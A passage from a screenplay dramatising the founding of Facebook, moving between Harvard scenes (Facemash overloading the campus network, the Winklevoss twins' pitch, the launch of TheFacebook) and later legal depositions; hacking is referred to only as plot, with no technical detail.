keystrokes and two pictures of two Harvard girls come up on the screen. After a moment... ALL The one on the left. MARK clicks the girl on the left and another picture takes the place of the girl on the right. ALL (CONT'D) On the right. 16. MARK clicks the girl on the right while another picture takes the place of the girl on the left. ALL (CONT'D) Still the right. EDUARDO It works. DUSTIN Who should we send it to first? EDUARDO Dwyer. CHRIS Neal. EDUARDO Who are you gonna send it to? MARK's made the link to e-mail and hits send. MARK Just a couple of people. The question is, who are they gonna send it to? CUT TO: INT. FINAL CLUB - NIGHT We move to a room where there's a co-ed poker game underway with the girls smoking cigars. A bra and a couple of pairs of stockings are out on the table. As we move through the poker room, we see a computer behind one of the players. The computer is indicating that there's e-mail. A PLAYER turns around and opens the e-mail as the poker game and the party go on behind him. He hits a link and FACEMASH opens. He looks at it, then-- PLAYER (to another player) Check this out. CUT TO: INT. ANOTHER DORM ROOM - NIGHT TWO MALE STUDENTS at a laptop. STUDENT The one on the left. CUT TO: 17. INT. ANOTHER DORM ROOM - NIGHT THREE MALE STUDENTS AT A COMPUTER ALL On the right. CUT TO: INT. ALL NIGHT DINER - NIGHT A bunch of STUDENTS around a computer. ALL The right. CUT TO: INT. FINAL CLUB - NIGHT Dozens of partiers are around the computer. FEMALE STUDENT That's my roommate. CUT TO: INT. CYBER CAFE - NIGHT A bunch of students around the computer-- FEMALE STUDENT This is pathetic. CUT TO: INT. ANOTHER DORM ROOM - NIGHT A FEW STUDENTS gathered at a computer-- ALL On the left. CUT TO: INT. ANOTHER DORM ROOM - NIGHT Another computer-- ALL On the right. CUT TO: 18. INT. ANOTHER DORM ROOM - NIGHT This time just a single student in his pajamas as he looks at two pictures of girls side by side. CUT TO: INT. ANOTHER DORM ROOM - NIGHT And another single student voting and CUT TO: INT. DORM ROOM - NIGHT We should instantly know that this dorm room is different. It's more modern and with less character and history than the others. In the background a GIRL is at her computer and in the foreground ERICA is sitting in bed taking notes from a textbook. GIRL (ERICA'S ROOMMATE) Oh shit. (to the other GIRL) Albright? ERICA'S ROOMMATE He blogged about you. ERICA looks at her for a moment, then gets up to look at her roommates computer-- ERICA'S ROOMMATE (CONT'D) You don't want to read it. ERICA ignores her roommate. We see her mortification as she reads, and at that moment THREE GUYS appear in her open doorway. They're baked and smiling and one of them is holding a bra. COLLEGE GUY Erica. ERICA looks over at the guys-- COLLEGE GUY (CONT'D) Is this yours? I stole it from a tranny. ERICA'S ROOMMATE Get the hell out of here! The three guys go on their drunken way as we SLOWLY PUSH IN on ERICA who's frozen in her humiliation and then CUT TO: 19. INT. HARVARD DORM ROOM - NIGHT STUDENTS The left! INT. COFFEE HOUSE - NIGHT STUDENTS The right! INT. DINING HALL - NIGHT STUDENTS The left! INT. GIRLS' DORM ROOM - NIGHT STUDENTS The right! INT. MARK'S DORM ROOM - NIGHT As sets of photos go flying by on his computer screen. MARK is staring at the chaos of activity he's created in the middle of the night. EDUARDO This is an awful lot of traffic. (beat) Think maybe we should shut it down before we get into trouble. MARK ignores him as we pre-lap a PHONE RINGING and CUT TO: INT. BEDROOM - NIGHT A man named COX is asleep next to his wife. It's his phone that's RINGING. COX wakes up and answers it-- COX (into phone) Hello? (listens) Wait, what? (listens) At 4 in the morning? INTERCUT WITH: INT. HARVARD COMMUNICATIONS OFFICE - SAME TIME A tired GRAD STUDENT who spends the night monitoring the campus computer system is looking at his computer. 20. GRAD STUDENT (into phone) Well there's a very unusual amount of traffic to the switch at Kirkland. COX You're saying it's unusual for 4 in the morning? GRAD STUDENT No, this'd be unusual for halftime at the Super Bowl. COX Alright. COX hangs up the phone. COX (CONT'D) I have to go in. COX'S WIFE What's going on? COX Harvard's network's about to crash. CUT TO: INT. MARK'S DORM ROOM - NIGHT Pictures are flying by on Mark's computer when suddenly they freeze. Then an icon comes up telling him he's no longer connected to the internet. Everyone is frozen silent for a moment... EDUARDO You don't think-- MARK I do. EDUARDO Go see if it's everybody. DUSTIN, CHRIS and EDUARDO head out of the room. MARK waits as the guys start coming back in the room. CHRIS Can't connect. DUSTIN The network's down. 21. EDUARDO Unless it's a coincidence I think this is us. MARK It's not a coincidence. EDUARDO (bad) Holy shit. And we stay on MARK a moment before we CUT TO: INT. DEPOSITION ROOM - DAY It's three years later and MARK is sitting with his LAWYERS at a large conference table. MARK is wearing a hoodie, sweatpants and Adidas flip-flops--a personal uniform that we'll come to understand. And while it may take us a while to notice it, MARK's a different person in these flash-forward scenes. Still tortured and complicated, but comfortable now with his own power. His lawyer is SY, who's accompanied by some junior associates, one of whom--a pleasant, pretty and professional young contemporary of Mark's named MARYLIN, we'll get to know. On the other side are EDUARDO and his lawyer, GRETCHEN, also accompanied by some associates. A STENOGRAPHER is typing the record. The room is glass on two sides and through the windows we can see the behemoths of Silicon Valley--Oracle, SunMicrosystems, Google, etc. GRETCHEN is taking MARK's deposition. GRETCHEN So you were called in front of the Ad Board. MARK That's not what happened. GRETCHEN You weren't called in front of the Administrative Board? MARK No, back, I mean--That's--back at the bar with Erica Albright. She said all that? SY Mark, I wouldn't-- 22. MARK That I said that stuff to her? GRETCHEN I was reading from the transcript of her deposition so-- MARK Why would you even need to depose her? GRETCHEN That's really for us to-- MARK You think if I know she can make me look like a jerk I'll be more likely-- SY Mark-- MARK --to settle? SY Why don't we stretch our legs for a minute, can we do that? It's been almost three hours and frankly you did spend an awful lot of time embarrassing Mr. Zuckerberg with the girl's testimony from the bar. MARK I'm not embarrassed, she just made a lot of that up. GRETCHEN She was under oath. MARK Then I guess that would be the first time somebody's lied under oath. People are stretching and getting coffee and talking quietly. MARK stays in his seat. MARYLIN, the attractive second year associate who's on Mark's legal team is still sitting too...about four seats down from Mark. MARYLIN The site got twenty-two hundred hits within two hours? MARK (beat) Thousand. 23. MARYLIN What? MARK Twenty-two thousand. MARYLIN (pause--even) Wow. CUT TO: EXT. CHARLES RIVER - DAWN The Harvard Crew is practicing on two-man sculls. There are three boats that are running roughly even with each other and the two-man crews are rowing with all they've got. We're gliding along with them in the water-- A CREW MEMBER Those guys are just freakin' fast. And we PULL BACK TO REVEAL that there's a fourth boat which is already five boat lengths ahead of the other three. The fourth boat is being crewed by CAMERON and TYLER WINKLEVOSS--identical twins who stepped out of an ad for Abercrombie & Fitch. They know that the others aren't in their class and even though they're highly competitive athletes, they don't like showing anyone up, least of all their teammates. CAMERON Is there anyway to make this a fair fight? TYLER We could jump out and swim. CAMERON I think we'd have to jump out and drown. TYLER Or you could row forward and I could row backward. CAMERON We're genetically identical, science says we'd stay in one place. TYLER Row the damn boat. 24. And the WINKLEVOSS twins kick into full gear and open up an even wider lead as we CUT TO: INT. PFORZHEIMER DINING HALL - MORNING The room's a couple of hundred years old and magnificent. Long, heavy mahogany tables are dotted with club members having breakfast. A PORTER in a white jacket is setting copies of The Crimson, Harvard's student newspaper, at the table occupied by CAMERON and TYLER whose trays are loaded with mountains of eggs and pancakes and carbs. DIVYA NARENDRA, a nice looking Indian student, sits down next to them holding a copy of the Crimson. CAMERON What's up? DIVYA You guys hear about this? CAMERON What? DIVYA Two nights ago a sophomore choked the network from a laptop at Kirkland. CAMERON Really? DIVYA At 4AM. TYLER picks up a copy of the Crimson and begins reading while his brother and DIVYA keep talking. CAMERON How? DIVYA He set up a website where you vote on the hotness of female undergrads. What were we doing that none of us heard about this? CAMERON I don't know, a three hour low-rate technical row before breakfast, a full course load, studying, another three hours in the tank and then studying. I don't know how we missed it. How much activity was there on this thing that he-- 25. TYLER (reading) 22,000 page requests. CAMERON 22,000?! TYLER Cam, this guy hacked the into facebooks of seven houses. He set up the whole website in one night and he did it while he was drunk. CAMERON 22,000. TYLER Yeah. CAMERON How do you know he was drunk? DIVYA He was blogging simultaneously. You know what I think? TYLER I'm way ahead of you. DIVYA This is our guy. CUT TO: INT. SECOND DEPOSITION ROOM - DAY It's MARK and his LAWYERS again but this time on the other side of the table are TYLER and CAMERON, DIVYA and their lawyer, GAGE, whose family had first-class seats on the Mayflower. We'll be back and forth between the two deposition rooms a lot. CAMERON (for the record) Cameron Winklevoss. W-I-N-K-L-E-V-O-S-S. Cameron's spelled the usual way. TYLER (for the record) Tyler Winklevoss. Tyler's spelled the usual way and my last name is the same as my brother's. CUT TO: 26. INT. ADMINISTRATIVE HEARING ROOM - DAY MARK stands before a panel of ADMINISTRATORS as well as COX, the systems manager who was woken up in the opening sequence. ADMINISTRATOR Mr. Zuckerberg, this is an Administrative Board hearing. You're being accused of intentionally breaching security, violating copyrights, violating individual privacy by creating the website, WWW.FACEMASH.COM. You're also charged with being in violation of university policy on distribution of digitized images. Before we begin with our questioning you're allowed to make a statement. Would you like to do so? MARK (beat) Uh...I've, you know-- MARK stands to address the Board. MARK (CONT'D) I've already apologized in the Crimson to the ABHW, to Fuerza Latina and to any women at Harvard who might have been insulted as I take it that they were. As for any charges stemming from the breach of security, I believe I deserve some recognition from this Board. MARK takes his seat. ADMINISTRATOR (pause) I'm sorry? MARK Yes. ADMINISTRATOR I don't understand. MARK Which part? ADMINISTRATOR You deserve recognition? MARK I believe I pointed out some pretty gaping holes in your system. COX Excuse me, may I? 27. ADMINISTRATOR Yes. COX Mr. Zuckerberg, I'm in charge of security for all computers on the Harvard network and I can assure you of its sophistication. In fact it was that level of sophistication that led us to you in less than four hours. MARK Four hours? COX Yes sir. MARK That would be impressive except if you'd known what you were looking for you would have seen it written on my dorm room window. CUT TO: INT. CORRIDOR - DAY As the heavy wooden door from the hearing slams shut behind MARK. EDUARDO is waiting for him. EDUARDO So? MARK Six months academic probation. They walk out onto-- EXT. QUAD - CONTINUOUS EDUARDO Wow, they had to make an example out of you. MARK (pause) They had my blog. I shouldn't have written the thing about the farm animals. That was stupid. I was kidding for God's sake, doesn't anybody have a sense of-- EDUARDO I tried to stop you. MARK I know. 28. EDUARDO How do you do this thing where you manage to get all girls to hate us? Why did I let you-- MARK I know. EDUARDO You can't do that. MARK Wardo. I said I know. CUT TO: INT. LECTURE HALL - DAY MARK is in his Operating Systems class. This is considered the hardest class at Harvard and MARK is one of the 50 students with their laptops open as the professor takes them through an impossibly difficult lesson. PROFESSOR Okay, let's look at a sample problem: Suppose we're given a computer with a 16- bit virtual address and a page size of 256 bytes. A GIRL scribbles something on a piece of paper. Then hands it to the student next to her and nods that it should be passed over to MARK. While that's happening-- PROFESSOR (CONT'D) The system uses one-level page tables, that start at address 0x0400. Maybe you want to have DMA on your 16-bit system, who knows? The first few pages are reserved for hardware flags, etc. MARK opens the note. It reads "U dick". He looks over and sees a couple of GIRLS looking at him with contempt. PROFESSOR (CONT'D) Assume page table entries have eight status bits. MARK closes his laptop, gets up and starts to head out of the hall. PROFESSOR (CONT'D) The eight status bits would be-- (re: MARK) And I see we have our first surrender. 29. (MORE) Don't worry, Mr. Zuckerberg, brighter men than you have tried and failed at this class. MARK (calling back) 1 valid bit, 1 modify bit, 1 reference bit and 5 permission bits. PROFESSOR That is correct. Does everybody see how he got there? MARK walks out of the lecture hall and we CUT TO: EXT. ACADEMIC BUILDING - DAY As MARK comes out and heads onto the quad-- CAMERON (OS) (calling) Mark? CAMERON and TYLER have been waiting by the entrance. CAMERON (CONT'D) Are you Mark Zuckerberg? MARK Yeah. CAMERON Cameron Winklevoss. MARK Hi. TYLER Tyler Winklevoss. MARK (pause) You guys related? CAMERON That's good. TYLER That's funny. CAMERON We've never heard that before. 30. PROFESSOR (CONT'D) MARK What can I do for you? Did I insult your girlfriends? CAMERON No, you didn't insult our girl-- (to TYLER) Actually, I don't know. TYLER (to CAMERON) We never asked. CAMERON We should do that. No, we have an idea we want to talk to you about. Do you have a minute? MARK (pause) You guys look like you spend some time at the gym. CAMERON We have to. MARK Why? TYLER We row crew. MARK (pause--then smiles a little) Yeah, I've got a minute. CAMERON Great. CUT TO: EXT. PORCELLIAN CLUB - DAY As MARK is escorted by CAMERON and TYLER toward the club. TYLER You ever been inside the Porcellian? MARK No. TYLER You understand we can't take you past the bike room 'cause you're not a member. MARK I've heard. 31. INT. PORCELLIAN CLUB - DAY The most exclusive of all the final clubs. DIVYA is sitting in the main living room with a textbook open as the heavy wooden door opens and the three of them come into the bike room. CAMERON Would you like a sandwich or something? MARK Okay. CAMERON disappears for a moment. DIVYA Mark, right? MARK is stealing a glance around the room. MARK Yeah. TYLER This is Divya Narendra, our partner. MARK Hi. DIVYA We were really impressed with Facemash and then we checked you out and you also built CourseMatch. TYLER I don't know CourseMatch. DIVYA You go online and see what courses your friends are taking. (to MARK) Really smart, man. MARK is looking at the framed black and white group pictures on the wall of old Porcellian classes. He sees a bra hanging over a lamp. DIVYA (CONT'D) Mark? MARK Yeah. DIVYA We were talking about CourseMatch. MARK It was kind of a no-brainer. 32. CAMERON comes back in with a sandwich wrapped in cellophane. MARK opens it on his lap and eats it uncomfortably. DIVYA And you invented something in high school, right? MARK An app for an MP3 player that recognizes your taste in music. DIVYA Anybody try to buy it? MARK Microsoft. DIVYA How much? MARK I didn't sell it. I uploaded it for free. DIVYA For free? MARK Yeah. DIVYA Why? MARK gives a short shrug that says both "I don't know" and "Fuck you" at the same time. CAMERON Okay, well. We have something that we've been working on for a while, we think it's great. It's called the HarvardConnection. You create your own page. Interests, bio, friends, pics. TYLER And then people can go online, see your bio and request to be your-- MARK Yeah. How's it different from MySpace or Friendster? TYLER Harvard-dot-E-D-U. CAMERON Harvard.edu. The most prestigious e-mail address in the country. 33. TYLER And the whole site's kinda based on the idea that girls--well... CAMERON Not to put anything indelicately. DIVYA Girls wanna get with guys who go to Harvard. CAMERON Divya and my brother don't have trouble putting things indelicately. TYLER The difference between what we're talking about and MySpace or Friendster or any of those other social networking site-- MARK --is exclusivity. (beat) Right? DIVYA Right. TYLER (beat) Yes. CAMERON We'd love fort you to work with us, Mark. I mean, we need a gifted programmer who's creative. TYLER And we know you've taking it in the shins. DIVYA The women's groups are ready to declare a Fatwa and this could help rehabilitate your image. MARK (remembering what Erica said) Wow. You'd do that for me? DIVYA We'd like to work with you. CAMERON Our first programmer graduated and went to work at Google. Our second programmer just got overwhelmed with school work. 34. (MORE) We would need you to build the site and write the code and we'll provide-- MARK I'm in. CAMERON --the money. What? MARK I'm in. TYLER Awesome. CUT TO: INT. SECOND DEPOSITION ROOM - DAY The WINKLEVOSSES and DIVYA with GAGE. GAGE That's what you said? MARK It was three or four years ago, I don't know what I said. CUT TO: INT. FIRST DEPOSITION ROOM - DAY EDUARDO with GRETCHEN. GRETCHEN When did you come to Eduardo? MARK I don't understand that question. CUT TO: INT. SECOND DEPOSITION ROOM - DAY GAGE Do you remember answering in the affirmative? MARK The affirmative? CUT TO: 35. CAMERON (CONT'D) INT. FIRST DEPOSITION ROOM - DAY GRETCHEN When did you come to Eduardo with the idea for Facebook. MARK It was called TheFacebook then. CUT TO: INT. SECOND DEPOSITION ROOM - DAY GAGE This doesn't need to be that difficult. MARK I'm currently in the middle of two different lawsuits. GAGE Did you answer affirmatively? When Tyler and Cameron Winklevoss and Divya Narendra asked you to build HarvardConnection, did you say yes? MARK I said I'd help. CUT TO: INT. FIRST DEPOSITION ROOM - DAY GRETCHEN When did you approach Mr. Saverin with the idea for TheFacebook? MARK I wouldn't say I approached him. GRETCHEN Sy? SY You can answer the question. MARK At a party at Alpha Epsilon Pi. GRETCHEN What's that? MARK The Jewish fraternity. It was Caribbean Night. CUT TO: 36. INT. LARGE MULTI-PURPOSE ROOM - NIGHT The hall has been converted into "Alpha Epsilon Pi Caribbean Night, 2003" and the party is about as lame as it sounds. What's important is that this couldn't be less like the final club party we saw at the beginning if they were playing Pin the Tail on the Donkey. Some potted palm trees have been brought in along with a steel drum set. The man playing the steel drum set has a yarmulke bobby pinned to his thinning hair. A table with a punch bowl and assorted cookies is nearby. EDUARDO, in baggy cargo shorts and a Hawaiian shirt buttoned up to the top, is standing with a few similarly dressed friends, including DUSTIN MOSKOVITZ and CHRIS HUGHES, in the sparsely populated room. On the other side of the room are a few girls--all Asian. One of the girls is wearing a bikini over her clothes. A television monitor has been set up with a DVD running of Niagara Falls. EDUARDO It's not that guys like me are generally attracted to Asian girls. It's that Asian girls are generally attracted to guys like me. DUSTIN I'm developing an algorithm to define the connection between Jewish guys and Asian girls. EDUARDO I don't think it's that complicated. They're hot, they're smart, they're not Jewish and they can't dance. CHRIS Mark's here. They see MARK come in and look around. EDUARDO waves him over... EDUARDO (calling) Mark. MARK sees EDUARDO and waves him over to where he is. He wants to talk privately. EDUARDO (CONT'D) I'll be right back. EDUARDO joins MARK in the back of the room and they take up a spot next to a bay window that's covered on the outside with ice. 37. MARK I think I've come up with something. EDUARDO Hang on, I've gotta tell you something you're not going to believe. MARK What? EDUARDO I got punched by the Phoenix. MARK (beat) Are you kidding? EDUARDO No. I mean it's just the first of the four step process but they slipped the invitation under my door tonight. I go to the first punch party tomorrow and if they like me-- MARK You got punched by the Phoenix. EDUARDO (pause) It was, you know...it was probably just a diversity thing. It was just a diversity thing. I'll just ride that horse until-- what did you want to talk to me about? (pause) Mark? MARK Yeah. EDUARDO You said you've come up with something. It seems like MARK's just made a small decision in his head. MARK (pause) Yeah. I think I've come up with something. Come outside. EDUARDO It's 20 degrees outside. 38. MARK I can't stare at that loop of Niagara Falls which has nothing to do with the Caribbean. CUT TO: EXT. QUAD - NIGHT MARK and EDUARDO come outside and are immediately met by the freezing cold air. MARK People came to Facemash in a stampede, right? EDUARDO Yeah. MARK It wasn't because they saw pictures of hot girls. You can go anywhere on the internet and see pictures of hot girls. EDUARDO Yeah. MARK It was because they saw pictures of girls that they knew. People want to go on the internet and check out their friends. Why not build a website that offers that? Friends, pictures, profiles, whatever you can...visit, browse around, maybe it's somebody you just met at a party. I'm not talking about a dating site. I'm talking about taking the entire social experience of college and putting it online. EDUARDO I can't feel my legs. MARK I know, I'm totally psyched about this, too. But Wardo-- CUT TO: INT. FIRST DEPOSITION ROOM - DAY EDUARDO "It would be exclusive". CUT BACK TO: 39. EXT. QUAD - NIGHT MARK You'd have to know the people on the site to get past your own page. Like getting punched. EDUARDO That's good, that's new. MARK Wardo, it's like a Final Club except we're the president. CUT TO: INT. FIRST DEPOSITION ROOM - DAY EDUARDO I told him I thought it sounded great. It was a great idea. There was nothing to hack, people were going to provide their own pictures, their own information. And people had the ability to invite--or not invite--their friends to join. See, in a world where social structure was everything, that was the thing. (beat) It was a big project and he was going to have to write tens of thousands of lines of code so I wondered why he was coming to me and not his roommates. Dustin Moskovitz and Chris Hughes they were programmers. CUT TO: EXT. QUAD - NIGHT MARK We're gonna need a little start-up cash to rent the servers and get it online. CUT TO: INT. FIRST DEPOSITION ROOM - NIGHT EDUARDO That was why. GRETCHEN Did he offer terms? CUT TO: 40. EXT. QUAD - NIGHT MARK We'll split it 70-30. 70 for me 30 for you for putting up the thousand dollars and handling for everything on the business end. You're CFO. CUT TO: INT. FIRST DEPOSITION ROOM - DAY GRETCHEN And you said? EDUARDO I said "Let's do it". GRETCHEN Okay. Did he add anything else? EDUARDO Yes. CUT TO: EXT. QUAD - NIGHT MARK It probably was a diversity thing but so what? CUT TO: INT. FIRST DEPOSITION ROOM - DAY GRETCHEN Why do you think he said that? SY Gretchen, excuse me for interrupting but whose discovery is this? GRETCHEN Sy, if you'll let me continue with my line of questioning-- SY What are you suggesting? MARK They're suggesting I was jealous of Eduardo for getting punched by the Phoenix and began a plan to screw him out of a company I hadn't even invented yet. 41. GRETCHEN Were you? SY Gretchen-- MARK Jealous of Eduardo? SY Stop typing, we're off the record. MARK Ma'am, I know you've done your homework and so you know that money isn't a big part of my life, but at the moment I could buy Mount Auburn Street, take the Phoenix Club and turn it into my ping pong room. CUT TO: EXT. QUAD - NIGHT EDUARDO's walking away and calls back to MARK-- EDUARDO (calling) I'll let you know how the party is. We stay on MARK for a moment longer, his wheels turning, before we CUT TO: INT. SECOND DEPOSITION ROOM - DAY EDUARDO's in different clothes and being questioned by GAGE. GAGE We recognize that you're a plaintiff in one suit involving Facebook and a witness in another. EDUARDO Yes sir. GAGE At any time in the weeks prior to Mark's telling you his idea, did he mention Tyler Winklevoss, Cameron Winklevoss, Divya Narendra or HarvardConnection? 42. EDUARDO Yes. He said they'd asked him to work on their site but that he'd looked at what they had and decided it wasn't worth his time. He said even his most pathetic friends knew more about getting people interested in a website than these guys. GAGE "These guys" meaning my clients. EDUARDO Yes. He resented--Mark resented that they-- your clients, thought he needed to rehabilitate his image after Facemash but Mark didn't want to rehabilitate anything. With Facemash he'd hacked into the Harvard computers, he'd thumbed his nose at the Ad Board, he'd gotten a lot of notoriety. Facemash did exactly what he wanted it to do. MARK kind of nods a little to himself. It should be noted that these depositions have an extra element of discomfort as everything is being said within a few feet of the people being talked about. GAGE Were you aware that while Mr. Zuckerberg was building TheFacebook he was also communicating with the plaintiffs? EDUARDO Not at the time I wasn't, but it really didn't have much to do with the Winklevoss's dating-- TYLER You weren't there! GAGE Ty. (to EDUARDO) Were you aware that while Mr. Zuckerberg was building TheFacebook, he was leading the plaintiffs to believe he was building Harvard Connection? SY You're offering a conclusion not found in evidence. GAGE We're about to find it in evidence. 43. MUSIC kicks in that will tie this next section together as we CUT TO: INT. MARK'S DORM ROOM - NIGHT Two printouts of web pages are taped to a white board-- "Friendster" and "MySpace". Under the two pages, MARK draws a third page and titles it "NewCo". CUT TO: INT. SECOND DEPOSITION ROOM - DAY GAGE (reading) From Mark Zuckerberg to Tyler Winklevoss. November 30, 2003. "I read over all the stuff you sent me re Harvard Connection and it seems like it shouldn't take too long to implement, so we can talk about it after I get all the basic functionality up tomorrow night." CUT TO: INT. MARK'S DORM ROOM - NIGHT The whiteboard is filled with diagrams now--login page, profile page, create account...We move over to see MARK at his computer. He opens the Emacs program and then Firefox, hits a few keys and the diagram on the whiteboard comes to life on his computer as we CUT TO: INT. SECOND DEPOSITION ROOM - DAY GAGE From Mark Zuckerberg to Cameron Winklevoss. December 1, 2003. "Sorry I was unreachable tonight. I just got about three of your missed calls. I was working on a problem set for my systems class." CAMERON and TYLER are looking blankly at MARK who's giving them a casual "I'm not scared of you" look and we CUT TO: INT. PHOENIX HOUSE - NIGHT The MUSIC CONTINUES as EDUARDO and other prospective new members, all wearing tuxedos, are lined up in four rows. 44. The boy at the front of each row has a bottle of Jack Daniels and drinks as long as they can before passing the bottle, relay style, to the boy in back of him as a few seniors look on. EDUARDO gets handed the bottle and starts in as we CUT TO: INT. CLASSROOM - DAY It's an Art History class and as we run past the rows of STUDENTS we see that they all have the same painting up on their laptops as the PROFESSOR gives his lecture. When we get to MARK's laptop we see that he's writing code and we CUT TO: INT. SECOND DEPOSITION ROOM - DAY GAGE From Mark Zuckerberg to Cameron and Tyler Winklevoss. December 10, 2003. "This week has been pretty busy thus far with classes and work so I think it's probably best to postpone the meeting." CUT TO: INT. CAMERON AND TYLER'S DORM ROOM - NIGHT CAMERON, TYLER and DIVYA are reading the e-mail. DIVYA (reading) "I'm also really busy tomorrow." (beat) Anybody else feel like there's something up with this guy? CAMERON Tell him okay but we've gotta make sure that we meet up before we all go off for break. CUT TO: INT. EDUARDO'S DORM ROOM - NIGHT EDUARDO's at his desk on the phone when an envelope that says "Phoenix" is slipped under his door. He turns and looks to see it... CUT TO: INT. MARK'S DORM ROOM - NIGHT Every available wall space is covered with a diagram or a printout. EDUARDO comes in with the envelope. 45. EDUARDO Mark-- MARK I need a dedicated Linux box running Apache with a mySQL backend. It's gonna cost a little more money. EDUARDO How much more? MARK Two-hundred more. EDUARDO Do we need it? MARK Gotta handle the traffic. EDUARDO Do it. MARK I already did. EDUARDO Hey, guess what? (shows MARK the envelope) I made the second cut. MARK Good job. You should be proud of that right there, don't worry if you don't make it any further. EDUARDO I'll get outa here. CUT TO: INT. SECOND DEPOSITION ROOM - DAY The MUSIC CONTINUES-- GAGE (reading) From Mark Zuckerberg to Tyler and Cameron Winklevoss and Divya Narendra. December 15, 2003. "I have a cs problem set that I'm just getting started with and it should be about 15 hours of coding so I'll be busy tomorrow night." CUT TO: 46. INT. PFORZHEIMER DINING HALL - NIGHT DIVYA (reading) "I won't really be free to meet until next Wednesday afternoon." CAMERON and TYLER give each other a look--"Is this guy flaking out?" CUT TO: INT. SECOND DEPOSITION ROOM - DAY GAGE (reading) "...have to cancel Wednesday afternoon. I've basically been in the lab this whole time and also..." CUT TO: INT. HAMBURGER JOINT - NIGHT DIVYA's reading off his blackberry to TYLER and CAMERON-- DIVYA (reading) "Won't be able to do Saturday as I have to meet up with my parents to..." CUT TO: EXT. HARVARD YARD - NIGHT The MUSIC CONTINUES-- It's snowing and cold as hell. EDUARDO's now with a smaller group of prospective members, most of whom are in their underwear with a couple of them wearing pants. They're all blue and shivering. They're gathered around a statue of John Harvard as a senior announces-- SENIOR As the plaque reads, this is John Harvard, founder of Harvard University in 1638. It's also called The Statue of Three Lies. What are the three lies, Mr. Dowd? (beat) Mr. Dowd. SOPHOMORE The three lies-- (beat) The first-- 47. (MORE) (beat) Shit! SENIOR Take your pants off. EDUARDO I know. SENIOR Mr. Saverin. EDUARDO 1) Harvard was founded in 1636, not 1638. 2) Harvard wasn't founded by John Harvard and 3) That's not John Harvard. SENIOR Who is it? EDUARDO A friend of the sculptor, Daniel Chester. SENIOR Keep your jacket on. And as another kid simply falls to his hands and knees and throws up, we CUT TO: INT. SECOND DEPOSITION ROOM - DAY GAGE 39 days after Mr. Zuckerberg's initial meeting with my clients and he still hadn't completed work on HarvardConnection. But on January 11, 2004-- CUT TO: INT. MARK'S DORM ROOM - DAY A website called Network Solutions is up on Mark's screen. He hits a couple of keys and waits intently. Then the computer shows him what he wanted to see-- www.theFacebook.com--DOMAIN NAME REGISTERED GAGE (V.O.) Mr. Zuckerberg registered the domain name theFacebook via network solutions. CUT TO: 48. SOPHOMORE (CONT'D) INT. SECOND DEPOSITION ROOM - DAY GAGE To the best of your knowledge, had he even begun work on HarvardConnection? EDUARDO Not to my knowledge, no. CUT TO: INT. PORCELLIAN - NIGHT CAMERON's looking at his e-mail. CAMERON What in the world is this? (reading) "Hey Cameron. I'm still a little skeptical that we have enough functionality in the site to really draw the attention and gain the critical mass necessary to get a site like this to run. We'll speak soon." CUT TO: INT. SECOND DEPOSITION ROOM - DAY GAGE This is the first time he mentioned any problem? DIVYA Yes it was. GAGE You'd sent 36 e-mails to Mr. Zuckerberg and received 16 return e-mails and this was the first time he indicated he was not happy. DIVYA That's correct. He had 42 days to study our system and get out ahead on-- MARK Do you see any of your code on Facebook? GAGE (help me) Sy, could you-- SY (calming him) Mark-- 49. MARK Did I use any of your code? DIVYA You stole our whole goddam idea! SY Fellas. MARK Match-dot-com for Harvard guys? GAGE Can I continue with my deposition? MARK You know you really don't need a forensic team to get to the bottom of this. If you guys were the inventors of Facebook you'd have invented Facebook. DIVYA I can't wait to stand over your shoulder and watch you write us a check. MARK No shit? SY (to GAGE) Let's continue. DIVYA's still staring at MARK, who just smiles a little as he looks down. GAGE (beat) February 4th, 2004-- CUT TO: INT. COMPUTER SCIENCE LAB - DAY MARK is working at a station. We can see through the windows that it's a frigid, snowy February day in Cambridge but MARK's in his hoodie and cargo shorts nonetheless. It looks like he hasn't slept in days. On his monitor we can see that he's working on the profile page for theFacebook. DUSTIN MOSKOVITZ steps up to him quietly. DUSTIN Mark? (pause) Mark. MARK turns his head and looks at him... 50. DUSTIN (CONT'D) (quietly) There's a girl in your art history class. Her name is Stephanie Attis. Do you happen to know if she has a boyfriend? MARK just keeps looking at him--barely even blinking--"Why am I being interrupted?" DUSTIN (CONT'D) (beat) Have you ever seen her with anyone? (beat) And if not, do you happen to know if she's looking to go out with anyone? MARK (pause) Dustin. People don't walk around with a sign on them that says-- And MARK stops short right there. Because in his head, he's just discovered the cure for cancer. DUSTIN (pause) Mark? EXT. COMPUTER SCIENCE BUILDING - DAY As MARK, with his backpack stuffed, comes flying out of the building and into the snow, barely keeping his balance on the ice and we CUT TO: INT. KIRKLAND HOUSE/LOBBY - MORNING The heavy door bursts open and MARK comes busting through. He makes his way with speed and intent up a flight of stairs. Then another. And then another until he gets to his floor. He sprints down his hall toward his dorm room and barely notices EDUARDO leaning against the door. EDUARDO We were supposed to meet at 9. MARK is searching the pockets of his shorts for his keys. EDUARDO (CONT'D) Have you slept yet? MARK opens the door and they go into his suite-- 51. MARK I have to add something. EDUARDO What? MARK's in his own world as he sits at the computer and calls up theFacebook. The home page fills the screen. EDUARDO (CONT'D) (simply) Shit. (beat) That looks good. (beat) That looks really good. MARK It's clean and simple. No Disneyland, no Live Nude Girls. The CAMERA surveys the screen as MARK slips through some functions to show EDUARDO and we see things that are now familiar--A photo, sex, a profile, a list of attributes, a poke application, etc. MARK (CONT'D) But watch. MARK's called up a the Emacs program and quickly writes out several lines of code... EDUARDO What'd you write? MARK goes back to the profile page. There's a new area to be filled in... MARK "Relationship Status", "Interested In". (beat) This is what drives life at college. Are you having sex or aren't you. It's why people take certain classes, and sit where they sit, and do what they do, and at its, um, center, you know, that's what theFacebook is gonna be about. People are gonna log on because after all the cake and watermelon there's a chance they're actually gonna-- EDUARDO --get laid. MARK (over) --meet a girl. Yes. 52. EDUARDO That's really good. MARK (beat) And that's it. EDUARDO (beat) What do you mean? MARK It's ready. EDUARDO It's ready? MARK Yeah. EDUARDO Right now? MARK That was it. And here's the masthead. MARK hits another couple of keystrokes and the website's masthead comes up. EDUARDO You made a masthead. MARK Yeah. EDUARDO (reading) "Eduardo Saverin. Co-Founder and CFO." MARK Yeah. EDUARDO You have no idea what that's going to mean to my father. MARK Sure I do. EDUARDO (pause) When's it gonna go live? MARK Right now. Get your laptop out. 53. EDUARDO Why do we need my laptop? MARK Because you've got e-mails for everyone at the Phoenix. EDUARDO (beat) I'm not sure if it's gonna be cool with them that I spam their-- MARK This is not spam. EDUARDO No, I know it's not spam-- MARK If we send it to our friends it'll just bounce around the Dworkin. EDUARDO I haven't gotten in yet. MARK These guys know people and I need their emails. 